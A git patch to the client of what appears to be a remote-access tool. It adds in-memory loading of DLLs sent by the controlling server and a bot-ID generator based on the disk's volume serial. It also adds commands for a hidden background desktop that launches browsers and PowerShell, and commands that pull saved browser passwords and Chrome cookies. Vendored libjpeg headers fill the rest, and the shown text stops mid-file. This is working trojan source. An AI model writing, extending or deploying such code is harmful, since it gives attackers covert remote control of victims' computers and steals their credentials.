From 1e0cfe85b8b9fb990e0cd850205061662fac8ad8 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 29 May 2025 23:13:46 +0800 Subject: [PATCH] Reserve for running customized module in future --- client/Common.cpp | 2 +- client/CursorInfo.h | 1 + client/KernelManager.cpp | 99 ++- client/KernelManager.h | 11 - client/Manager.cpp | 48 +- client/Manager.h | 8 + client/test.cpp | 29 +- common/commands.h | 95 ++- common/dllRunner.h | 30 + common/jconfig.h | 33 + common/jmorecfg.h | 386 +++++++++ common/jpeglib.h | 1176 +++++++++++++++++++++++++++ compress/jpeg/turbojpeg_32_d.lib | Bin 0 -> 1678088 bytes compress/jpeg/turbojpeg_32_r.lib | Bin 0 -> 864070 bytes compress/jpeg/turbojpeg_64_d.lib | Bin 0 -> 1915616 bytes compress/jpeg/turbojpeg_64_r.lib | Bin 0 -> 1144848 bytes server/2015Remote/2015RemoteDlg.cpp | 5 +- 17 files changed, 1833 insertions(+), 90 deletions(-) create mode 100644 common/dllRunner.h create mode 100644 common/jconfig.h create mode 100644 common/jmorecfg.h create mode 100644 common/jpeglib.h create mode 100644 compress/jpeg/turbojpeg_32_d.lib create mode 100644 compress/jpeg/turbojpeg_32_r.lib create mode 100644 compress/jpeg/turbojpeg_64_d.lib create mode 100644 compress/jpeg/turbojpeg_64_r.lib diff --git a/client/Common.cpp b/client/Common.cpp index 6e1fbd5..800b439 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -103,7 +103,7 @@ DWORD WINAPI ThreadProc(LPVOID lParam) template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; - IOCPClient *ClientObject = pInfo->p; + IOCPClient *ClientObject = (IOCPClient *)pInfo->p; CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { diff --git a/client/CursorInfo.h b/client/CursorInfo.h index aa29f11..79debe2 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -12,6 +12,7 @@ #define ALGORITHM_GRAY 0 #define ALGORITHM_DIFF 1 #define ALGORITHM_H264 2 +#define ALGORITHM_HOME 3 #define MAX_CURSOR_TYPE 16 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 73b2ba8..5b45327 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -10,6 +10,7 @@ #include #include "ClientDll.h" #include "MemoryModule.h" +#include "common/dllRunner.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -61,20 +62,16 @@ UINT CKernelManager::GetAvailableIndex() { return -1; } -BOOL WriteBinaryToFile(const char* data, ULONGLONG size) +BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new") { - if (size > 32 * 1024 * 1024) { - Mprintf("WriteBinaryToFile fail: too large file size!!\n"); - return FALSE; - } - char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p + 1, "ServerDll.new"); - if (_access(path, 0)!=-1) + strcpy(p + 1, name); + if (_access(path, 0) != -1) { + if (std::string("ServerDll.new")!=name) return TRUE; DeleteFileA(path); } // 打开文件，以二进制模式写入 @@ -113,11 +110,10 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size) typedef struct DllExecParam { - State& exit; DllExecuteInfo info; + PluginParam param; BYTE* buffer; - DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) { - memcpy(&info, dll, sizeof(DllExecuteInfo)); + DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) { buffer = new BYTE[info.Size]; memcpy(buffer, data, info.Size); } @@ -126,32 +122,64 @@ typedef struct DllExecParam } }DllExecParam; + +class MemoryDllRunner : public DllRunner { +protected: + HMEMORYMODULE m_mod; +public: + MemoryDllRunner() : m_mod(nullptr) {} + virtual void* LoadLibraryA(const char* data, int size) { + return (m_mod = ::MemoryLoadLibrary(data, size)); + } + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { + return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName); + } + virtual BOOL FreeLibrary(void* mod) { + ::MemoryFreeLibrary((HMEMORYMODULE)mod); + return TRUE; + } +}; + + DWORD WINAPI ExecuteDLLProc(LPVOID param) { DllExecParam* dll = (DllExecParam*)param; - HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size); + DllExecuteInfo info = dll->info; + PluginParam pThread = dll->param; +#ifdef _DEBUG + WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); + DllRunner* runner = new DefaultDllRunner(info.Name); +#else + DllRunner* runner = new MemoryDllRunner(); +#endif + HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size); if (module) { - DllExecuteInfo info = dll->info; - if (info.Func[0]) { - FARPROC proc = MemoryGetProcAddress(module, info.Func); - if (proc) { - switch (info.CallType) - { - case CALLTYPE_DEFAULT: - ((CallTypeDefault)proc)(); - break; - default: - break; - } - } - } - else { // 没有指明函数则只加载DLL - while (S_CLIENT_EXIT != dll->exit) { + switch (info.CallType) + { + case CALLTYPE_DEFAULT: + while (S_CLIENT_EXIT != *pThread.Exit) Sleep(1000); + break; + case CALLTYPE_IOCPTHREAD: { + PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run"); + Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); + if (proc) { + proc(&pThread); + }else { + while (S_CLIENT_EXIT != *pThread.Exit) + Sleep(1000); } + break; } - MemoryFreeLibrary(module); + default: + break; + } + runner->FreeLibrary(module); + } + else { + Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name); } SAFE_DELETE(dll); + SAFE_DELETE(runner); return 0x20250529; } @@ -160,21 +188,24 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); - } else if (!isExit){ + } + else if (!isExit) { m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } - switch(szBuffer[0]) + switch (szBuffer[0]) { case CMD_EXECUTE_DLL: { #ifdef _WIN64 const int sz = 1 + sizeof(DllExecuteInfo); if (ulLength <= sz)break; DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); - if (info->Size == ulLength - sz) - CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL)); - Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size); + if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { + PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit); + CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL)); + Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size); + } #endif break; } diff --git a/client/KernelManager.h b/client/KernelManager.h index 83038df..4379d9d 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -72,17 +72,6 @@ private: } }; -// 线程信息结构体, 包含3个成员: 运行状态(run)、句柄(h)和通讯客户端(p). -struct ThreadInfo -{ - BOOL run; - HANDLE h; - IOCPClient *p; - void* user; - CONNECT_ADDRESS* conn; - ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ } -}; - class CKernelManager : public CManager { public: diff --git a/client/Manager.cpp b/client/Manager.cpp index 7cd0f06..05877ad 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -14,7 +14,7 @@ typedef struct { HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; -BOOL SelectDesktop(TCHAR* name); +HDESK SelectDesktop(TCHAR* name); unsigned int __stdcall ThreadLoader(LPVOID param) { @@ -54,6 +54,41 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD return hThread; } +ULONG PseudoRand(ULONG* seed) +{ + return (*seed = 1352459 * (*seed) + 2529004207); +} + +std::string GetBotId() +{ +#define _T(p) p + TCHAR botId[35] = { 0 }; + TCHAR windowsDirectory[MAX_PATH] = {}; + TCHAR volumeName[8] = { 0 }; + DWORD seed = 0; + + if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory))) + windowsDirectory[0] = _T('C'); + + volumeName[0] = windowsDirectory[0]; + volumeName[1] = _T(':'); + volumeName[2] = _T('\\'); + volumeName[3] = _T('\0'); + + GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); + + GUID guid = {}; + guid.Data1 = PseudoRand(&seed); + + guid.Data2 = (USHORT)PseudoRand(&seed); + guid.Data3 = (USHORT)PseudoRand(&seed); + for (int i = 0; i < 8; i++) + guid.Data4[i] = (UCHAR)PseudoRand(&seed); + wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]); + return botId; +#undef _T(p) +} + BOOL SelectHDESK(HDESK new_desktop) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); @@ -80,9 +115,9 @@ BOOL SelectHDESK(HDESK new_desktop) // Switches the current thread into a different desktop, by name // Calling with a valid desktop name will place the thread in that desktop. // Calling with a NULL name will place the thread in the current input desktop. -BOOL SelectDesktop(TCHAR* name) +HDESK SelectDesktop(TCHAR* name) { - HDESK desktop; + HDESK desktop = NULL; if (name != NULL) { // Attempt to open the named desktop @@ -103,18 +138,18 @@ BOOL SelectDesktop(TCHAR* name) // Did we succeed? if (desktop == NULL) { - return FALSE; + return NULL; } // Switch to the new desktop if (!SelectHDESK(desktop)) { // Failed to enter the new desktop, so free it! CloseDesktop(desktop); - return FALSE; + return NULL; } // We successfully switched desktops! - return TRUE; + return desktop; } ////////////////////////////////////////////////////////////////////// @@ -123,6 +158,7 @@ BOOL SelectDesktop(TCHAR* name) CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit) { + m_bReady = TRUE; m_ClientObject = ClientObject; m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); diff --git a/client/Manager.h b/client/Manager.h index 63b2b98..b5ea51d 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -12,6 +12,12 @@ #include "..\common\commands.h" #include "IOCPClient.h" +#define ENABLE_VSCREEN 1 + +HDESK SelectDesktop(TCHAR* name); + +std::string GetBotId(); + typedef IOCPClient CClientSocket; typedef IOCPClient ISocketBase; @@ -27,6 +33,7 @@ class CManager : public IOCPManager { public: State&g_bExit; // 1-被控端退出 2-主控端退出 + BOOL m_bReady; CManager(IOCPClient* ClientObject); virtual ~CManager(); @@ -37,6 +44,7 @@ public: VOID NotifyDialogIsOpen(); int Send(LPBYTE lpData, UINT nSize); + virtual void SetReady(BOOL ready = true) { m_bReady = ready; } }; #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) diff --git a/client/test.cpp b/client/test.cpp index 25b6c4c..1cf2080 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -4,6 +4,7 @@ #include "ShellcodeInj.h" #include #include +#include "common/dllRunner.h" #pragma comment(lib, "ws2_32.lib") // 自动启动注册表中的值 @@ -113,32 +114,6 @@ typedef struct PkgHeader { } }PkgHeader; -// A DLL runner. -class DllRunner { -public: - virtual void* LoadLibraryA(const char* path) = 0; - virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0; - virtual BOOL FreeLibrary(void* mod) = 0; -}; - -// Default DLL runner. -class DefaultDllRunner : public DllRunner { -private: - HMODULE m_mod; -public: - DefaultDllRunner() : m_mod(nullptr) {} - // Load DLL from the disk. - virtual void* LoadLibraryA(const char* path) { - return m_mod = ::LoadLibraryA(path); - } - virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) { - return ::GetProcAddress(m_mod, lpProcName); - } - virtual BOOL FreeLibrary(void* mod) { - return ::FreeLibrary(m_mod); - } -}; - // Memory DLL runner. class MemoryDllRunner : public DllRunner { protected: @@ -239,7 +214,7 @@ public: return buffer; } // Request DLL from the master. - virtual void* LoadLibraryA(const char* path) { + virtual void* LoadLibraryA(const char* path, int len=0) { int size = 0; auto buffer = ReceiveDll(size); if (nullptr == buffer) diff --git a/common/commands.h b/common/commands.h index a49b159..13e6f06 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,5 +1,5 @@ #pragma once - +#define _CRT_SECURE_NO_WARNINGS #include #include #include @@ -205,7 +205,10 @@ enum TOKEN_TALK_START, // 即时消息开始 TOKEN_TALKCMPLT, // 即时消息可重发 TOKEN_KEYFRAME=134, // 关键帧 - + TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕 + TOKEN_SCREEN_SIZE, // 屏幕大小 + + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 TOKEN_REG_KEY, @@ -231,6 +234,56 @@ enum ProxyManager { COMMAND_PROXY_CONNECT_HOSTNAME, }; +// 后台屏幕其他命令 +enum HideScreenSpy { + COMMAND_FLUSH_HIDE, // 刷新屏幕 + COMMAND_SCREEN_SETSCREEN_HIDE, // 重置分辨率 + COMMAND_HIDE_USER, // 自定义命令 + COMMAND_HIDE_CLEAR, // 清理后台 + COMMAND_COMMAND_SCREENUALITY60_HIDE, // 清晰度 + COMMAND_COMMAND_SCREENUALITY85_HIDE, // 清晰度 + COMMAND_COMMAND_SCREENUALITY100_HIDE, // 清晰度 + + IDM_OPEN_Explorer = 33, + IDM_OPEN_run, + IDM_OPEN_Powershell, + + IDM_OPEN_360JS, + IDM_OPEN_360AQ, + IDM_OPEN_360AQ2, + IDM_OPEN_Chrome, + IDM_OPEN_Edge, + IDM_OPEN_Brave, + IDM_OPEN_Firefox, + IDM_OPEN_Iexplore, + IDM_OPEN_ADD_1, + IDM_OPEN_ADD_2, + IDM_OPEN_ADD_3, + IDM_OPEN_ADD_4, + IDM_OPEN_zdy, + IDM_OPEN_zdy2, + IDM_OPEN_close, +}; + +struct ZdyCmd { + char oldpath[_MAX_PATH]; + char newpath[_MAX_PATH]; + char cmdline[_MAX_PATH]; +}; + +// 解密数据 +enum DecryptCommand { + COMMAND_LLQ_GetChromePassWord, + COMMAND_LLQ_GetEdgePassWord, + COMMAND_LLQ_GetSpeed360PassWord, + COMMAND_LLQ_Get360sePassWord, + COMMAND_LLQ_GetQQBroPassWord, + + COMMAND_LLQ_GetChromeCookies, +}; + +typedef DecryptCommand BroType; + enum { CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 @@ -402,6 +455,28 @@ public: } } CONNECT_ADDRESS ; +// 客户端程序线程信息结构体, 包含5个成员: +// 运行状态(run)、句柄(h)、通讯客户端(p)、调用者参数(user)和连接信息(conn). +struct ThreadInfo +{ + int run; + HANDLE h; + void* p; + void* user; + CONNECT_ADDRESS* conn; + ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { } +}; + +struct PluginParam { + char IP[100]; // 主控IP + int Port; // 主控端口 + State *Exit; // 客户端状态 + void* User; // 自定义参数 + PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){ + strcpy_s(IP, ip); + } +}; + // 将字符串按指定字符分隔为向量 inline std::vector StringToVector(const std::string& str, char ch, int reserved = 1) { // 使用字符串流来分隔字符串 @@ -513,14 +588,13 @@ typedef struct MasterSettings { char Reserved[476]; // 预留 }MasterSettings; -// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 + 函数名称 +// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 typedef struct DllExecuteInfo { int RunType; // 运行类型 int Size; // DLL 大小 int CallType; // 调用方式 char Name[32]; // DLL 名称 - char Func[32]; // 函数名称 - char Reseverd[24]; + char Reseverd[56]; }DllExecuteInfo; enum @@ -531,11 +605,10 @@ enum SHELLCODE = 0, MEMORYDLL = 1, - CALLTYPE_DEFAULT = 0, // 默认调用方式: void (*CallTypeDefault)(void) + CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码 + CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam) }; -typedef void (*CallTypeDefault)(void); - typedef DWORD(__stdcall* PidCallback)(void); inline const char* EVENTID(PidCallback pid) { @@ -703,4 +776,10 @@ public: } }; +#ifdef _WIN64 +#define MYMSG MSG +#else +#define MYMSG MSG64 +#endif + #endif diff --git a/common/dllRunner.h b/common/dllRunner.h new file mode 100644 index 0000000..0e6a004 --- /dev/null +++ b/common/dllRunner.h @@ -0,0 +1,30 @@ +#pragma once +#include + +// A DLL runner. +class DllRunner { +public: + virtual ~DllRunner(){} + virtual void* LoadLibraryA(const char* path, int size = 0) = 0; + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0; + virtual BOOL FreeLibrary(void* mod) = 0; +}; + +// Default DLL runner. +class DefaultDllRunner : public DllRunner { +private: + std::string m_path; + HMODULE m_mod; +public: + DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {} + // Load DLL from the disk. + virtual void* LoadLibraryA(const char* path, int size = 0) { + return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path); + } + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { + return ::GetProcAddress(m_mod, lpProcName); + } + virtual BOOL FreeLibrary(void* mod) { + return ::FreeLibrary(m_mod); + } +}; diff --git a/common/jconfig.h b/common/jconfig.h new file mode 100644 index 0000000..2df0648 --- /dev/null +++ b/common/jconfig.h @@ -0,0 +1,33 @@ +#define JPEG_LIB_VERSION 62 +#define LIBJPEG_TURBO_VERSION 2.1.1 +#define LIBJPEG_TURBO_VERSION_NUMBER 2001001 + +#define C_ARITH_CODING_SUPPORTED +#define D_ARITH_CODING_SUPPORTED +#define MEM_SRCDST_SUPPORTED +#define WITH_SIMD + +#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */ + +#define HAVE_STDDEF_H +#define HAVE_STDLIB_H +#undef NEED_SYS_TYPES_H +#undef NEED_BSD_STRINGS + +#define HAVE_UNSIGNED_CHAR +#define HAVE_UNSIGNED_SHORT +#undef INCOMPLETE_TYPES_BROKEN +#undef RIGHT_SHIFT_IS_UNSIGNED + +/* Define "boolean" as unsigned char, not int, per Windows custom */ +#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */ +typedef unsigned char boolean; +#endif +#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */ + +/* Define "INT32" as int, not long, per Windows custom */ +#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */ +typedef short INT16; +typedef signed int INT32; +#endif +#define XMD_H /* prevent jmorecfg.h from redefining it */ diff --git a/common/jmorecfg.h b/common/jmorecfg.h new file mode 100644 index 0000000..0984d89 --- /dev/null +++ b/common/jmorecfg.h @@ -0,0 +1,386 @@ +/* + * jmorecfg.h + * + * This file was part of the Independent JPEG Group's software: + * Copyright (C) 1991-1997, Thomas G. Lane. + * Modified 1997-2009 by Guido Vollbeding. + * libjpeg-turbo Modifications: + * Copyright (C) 2009, 2011, 2014-2015, 2018, 2020, D. R. Commander. + * For conditions of distribution and use, see the accompanying README.ijg + * file. + * + * This file contains additional configuration options that customize the + * JPEG software for special applications or support machine-dependent + * optimizations. Most users will not need to touch this file. + */ + + +/* + * Maximum number of components (color channels) allowed in JPEG image. + * To meet the letter of Rec. ITU-T T.81 | ISO/IEC 10918-1, set this to 255. + * However, darn few applications need more than 4 channels (maybe 5 for CMYK + + * alpha mask). We recommend 10 as a reasonable compromise; use 4 if you are + * really short on memory. (Each allowed component costs a hundred or so + * bytes of storage, whether actually used in an image or not.) + */ + +#define MAX_COMPONENTS 10 /* maximum number of image components */ + + +/* + * Basic data types. + * You may need to change these if you have a machine with unusual data + * type sizes; for example, "char" not 8 bits, "short" not 16 bits, + * or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits, + * but it had better be at least 16. + */ + +/* Representation of a single sample (pixel element value). + * We frequently allocate large arrays of these, so it's important to keep + * them small. But if you have memory to burn and access to char or short + * arrays is very slow on your hardware, you might want to change these. + */ + +#if BITS_IN_JSAMPLE == 8 +/* JSAMPLE should be the smallest type that will hold the values 0..255. + */ + +typedef unsigned char JSAMPLE; +#define GETJSAMPLE(value) ((int)(value)) + +#define MAXJSAMPLE 255 +#define CENTERJSAMPLE 128 + +#endif /* BITS_IN_JSAMPLE == 8 */ + + +#if BITS_IN_JSAMPLE == 12 +/* JSAMPLE should be the smallest type that will hold the values 0..4095. + * On nearly all machines "short" will do nicely. + */ + +typedef short JSAMPLE; +#define GETJSAMPLE(value) ((int)(value)) + +#define MAXJSAMPLE 4095 +#define CENTERJSAMPLE 2048 + +#endif /* BITS_IN_JSAMPLE == 12 */ + + +/* Representation of a DCT frequency coefficient. + * This should be a signed value of at least 16 bits; "short" is usually OK. + * Again, we allocate large arrays of these, but you can change to int + * if you have memory to burn and "short" is really slow. + */ + +typedef short JCOEF; + + +/* Compressed datastreams are represented as arrays of JOCTET. + * These must be EXACTLY 8 bits wide, at least once they are written to + * external storage. Note that when using the stdio data source/destination + * managers, this is also the data type passed to fread/fwrite. + */ + +typedef unsigned char JOCTET; +#define GETJOCTET(value) (value) + + +/* These typedefs are used for various table entries and so forth. + * They must be at least as wide as specified; but making them too big + * won't cost a huge amount of memory, so we don't provide special + * extraction code like we did for JSAMPLE. (In other words, these + * typedefs live at a different point on the speed/space tradeoff curve.) + */ + +/* UINT8 must hold at least the values 0..255. */ + +typedef unsigned char UINT8; + +/* UINT16 must hold at least the values 0..65535. */ + +#ifdef HAVE_UNSIGNED_SHORT +typedef unsigned short UINT16; +#else /* not HAVE_UNSIGNED_SHORT */ +typedef unsigned int UINT16; +#endif /* HAVE_UNSIGNED_SHORT */ + +/* INT16 must hold at least the values -32768..32767. */ + +#ifndef XMD_H /* X11/xmd.h correctly defines INT16 */ +typedef short INT16; +#endif + +/* INT32 must hold at least signed 32-bit values. + * + * NOTE: The INT32 typedef dates back to libjpeg v5 (1994.) Integers were + * sometimes 16-bit back then (MS-DOS), which is why INT32 is typedef'd to + * long. It also wasn't common (or at least as common) in 1994 for INT32 to be + * defined by platform headers. Since then, however, INT32 is defined in + * several other common places: + * + * Xmd.h (X11 header) typedefs INT32 to int on 64-bit platforms and long on + * 32-bit platforms (i.e always a 32-bit signed type.) + * + * basetsd.h (Win32 header) typedefs INT32 to int (always a 32-bit signed type + * on modern platforms.) + * + * qglobal.h (Qt header) typedefs INT32 to int (always a 32-bit signed type on + * modern platforms.) + * + * This is a recipe for conflict, since "long" and "int" aren't always + * compatible types. Since the definition of INT32 has technically been part + * of the libjpeg API for more than 20 years, we can't remove it, but we do not + * use it internally any longer. We instead define a separate type (JLONG) + * for internal use, which ensures that internal behavior will always be the + * same regardless of any external headers that may be included. + */ + +#ifndef XMD_H /* X11/xmd.h correctly defines INT32 */ +#ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */ +#ifndef _BASETSD_H /* MinGW is slightly different */ +#ifndef QGLOBAL_H /* Qt defines it in qglobal.h */ +typedef long INT32; +#endif +#endif +#endif +#endif + +/* Datatype used for image dimensions. The JPEG standard only supports + * images up to 64K*64K due to 16-bit fields in SOF markers. Therefore + * "unsigned int" is sufficient on all machines. However, if you need to + * handle larger images and you don't mind deviating from the spec, you + * can change this datatype. (Note that changing this datatype will + * potentially require modifying the SIMD code. The x86-64 SIMD extensions, + * in particular, assume a 32-bit JDIMENSION.) + */ + +typedef unsigned int JDIMENSION; + +#define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */ + + +/* These macros are used in all function definitions and extern declarations. + * You could modify them if you need to change function linkage conventions; + * in particular, you'll need to do that to make the library a Windows DLL. + * Another application is to make all functions global for use with debuggers + * or code profilers that require it. + */ + +/* a function called through method pointers: */ +#define METHODDEF(type) static type +/* a function used only in its module: */ +#define LOCAL(type) static type +/* a function referenced thru EXTERNs: */ +#define GLOBAL(type) type +/* a reference to a GLOBAL function: */ +#define EXTERN(type) extern type + + +/* Originally, this macro was used as a way of defining function prototypes + * for both modern compilers as well as older compilers that did not support + * prototype parameters. libjpeg-turbo has never supported these older, + * non-ANSI compilers, but the macro is still included because there is some + * software out there that uses it. + */ + +#define JMETHOD(type, methodname, arglist) type (*methodname) arglist + + +/* libjpeg-turbo no longer supports platforms that have far symbols (MS-DOS), + * but again, some software relies on this macro. + */ + +#undef FAR +#define FAR + + +/* + * On a few systems, type boolean and/or its values FALSE, TRUE may appear + * in standard header files. Or you may have conflicts with application- + * specific header files that you want to include together with these files. + * Defining HAVE_BOOLEAN before including jpeglib.h should make it work. + */ + +#ifndef HAVE_BOOLEAN +typedef int boolean; +#endif +#ifndef FALSE /* in case these macros already exist */ +#define FALSE 0 /* values of boolean */ +#endif +#ifndef TRUE +#define TRUE 1 +#endif + + +/* + * The remaining options affect code selection within the JPEG library, + * but they don't need to be visible to most applications using the library. + * To minimize application namespace pollution, the symbols won't be + * defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined. + */ + +#ifdef JPEG_INTERNALS +#define JPEG_INTERNAL_OPTIONS +#endif + +#ifdef JPEG_INTERNAL_OPTIONS + + +/* + * These defines indicate whether to include various optional functions. + * Undefining some of these symbols will produce a smaller but less capable + * library. Note that you can leave certain source files out of the + * compilation/linking process if you've #undef'd the corresponding symbols. + * (You may HAVE to do that if your compiler doesn't like null source files.) + */ + +/* Capability options common to encoder and decoder: */ + +#define DCT_ISLOW_SUPPORTED /* accurate integer method */ +#define DCT_IFAST_SUPPORTED /* less accurate int method [legacy feature] */ +#define DCT_FLOAT_SUPPORTED /* floating-point method [legacy feature] */ + +/* Encoder capability options: */ + +#define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ +#define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ +#define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */ +/* Note: if you selected 12-bit data precision, it is dangerous to turn off + * ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit + * precision, so jchuff.c normally uses entropy optimization to compute + * usable tables for higher precision. If you don't want to do optimization, + * you'll have to supply different default Huffman tables. + * The exact same statements apply for progressive JPEG: the default tables + * don't work for progressive mode. (This may get fixed, however.) + */ +#define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */ + +/* Decoder capability options: */ + +#define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ +#define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ +#define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */ +#define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */ +#define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */ +#undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */ +#define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */ +#define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */ +#define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */ + +/* more capability options later, no doubt */ + + +/* + * The RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros are a vestigial + * feature of libjpeg. The idea was that, if an application developer needed + * to compress from/decompress to a BGR/BGRX/RGBX/XBGR/XRGB buffer, they could + * change these macros, rebuild libjpeg, and link their application statically + * with it. In reality, few people ever did this, because there were some + * severe restrictions involved (cjpeg and djpeg no longer worked properly, + * compressing/decompressing RGB JPEGs no longer worked properly, and the color + * quantizer wouldn't work with pixel sizes other than 3.) Furthermore, since + * all of the O/S-supplied versions of libjpeg were built with the default + * values of RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE, many applications + * have come to regard these values as immutable. + * + * The libjpeg-turbo colorspace extensions provide a much cleaner way of + * compressing from/decompressing to buffers with arbitrary component orders + * and pixel sizes. Thus, we do not support changing the values of RGB_RED, + * RGB_GREEN, RGB_BLUE, or RGB_PIXELSIZE. In addition to the restrictions + * listed above, changing these values will also break the SIMD extensions and + * the regression tests. + */ + +#define RGB_RED 0 /* Offset of Red in an RGB scanline element */ +#define RGB_GREEN 1 /* Offset of Green */ +#define RGB_BLUE 2 /* Offset of Blue */ +#define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */ + +#define JPEG_NUMCS 17 + +#define EXT_RGB_RED 0 +#define EXT_RGB_GREEN 1 +#define EXT_RGB_BLUE 2 +#define EXT_RGB_PIXELSIZE 3 + +#define EXT_RGBX_RED 0 +#define EXT_RGBX_GREEN 1 +#define EXT_RGBX_BLUE 2 +#define EXT_RGBX_PIXELSIZE 4 + +#define EXT_BGR_RED 2 +#define EXT_BGR_GREEN 1 +#define EXT_BGR_BLUE 0 +#define EXT_BGR_PIXELSIZE 3 + +#define EXT_BGRX_RED 2 +#define EXT_BGRX_GREEN 1 +#define EXT_BGRX_BLUE 0 +#define EXT_BGRX_PIXELSIZE 4 + +#define EXT_XBGR_RED 3 +#define EXT_XBGR_GREEN 2 +#define EXT_XBGR_BLUE 1 +#define EXT_XBGR_PIXELSIZE 4 + +#define EXT_XRGB_RED 1 +#define EXT_XRGB_GREEN 2 +#define EXT_XRGB_BLUE 3 